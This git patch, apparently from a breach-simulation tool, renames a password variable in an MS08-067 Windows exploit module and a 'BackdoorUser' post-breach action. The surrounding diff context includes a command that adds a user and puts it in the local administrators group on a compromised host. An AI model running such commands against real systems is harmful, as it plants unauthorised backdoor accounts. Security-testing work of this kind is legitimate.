From fc82b2a9dcec0cee0284f41977701382305be2e5 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 22:51:14 +0530 Subject: [PATCH] Replace "remote_user_pwd" with "random_password" --- monkey/infection_monkey/exploit/win_ms08_067.py | 6 +++--- monkey/infection_monkey/post_breach/actions/add_user.py | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 8e6daa8f4..2d005e543 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -231,7 +231,7 @@ class Ms08_067_Exploiter(HostExploiter): ) exploited = False - remote_user_pwd = get_random_password() + random_password = get_random_password() for _ in range(self._config.ms08_067_exploit_attempts): exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version) @@ -242,7 +242,7 @@ class Ms08_067_Exploiter(HostExploiter): "cmd /c (net user {} {} /add) &&" " (net localgroup administrators {} /add)\r\n".format( self._config.user_to_add, - remote_user_pwd, + random_password, self._config.user_to_add, ).encode() ) @@ -266,7 +266,7 @@ class Ms08_067_Exploiter(HostExploiter): src_path, self._config.dropper_target_path_win_32, self._config.user_to_add, - remote_user_pwd, + random_password, ) if not remote_full_path: diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 7e92eaf84..26b048a49 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -7,10 +7,10 @@ from infection_monkey.utils.users import get_commands_to_add_user class BackdoorUser(PBA): def __init__(self): - remote_user_pwd = get_random_password() + random_password = get_random_password() linux_cmds, windows_cmds = get_commands_to_add_user( - WormConfiguration.user_to_add, remote_user_pwd + WormConfiguration.user_to_add, random_password ) super(BackdoorUser, self).__init__(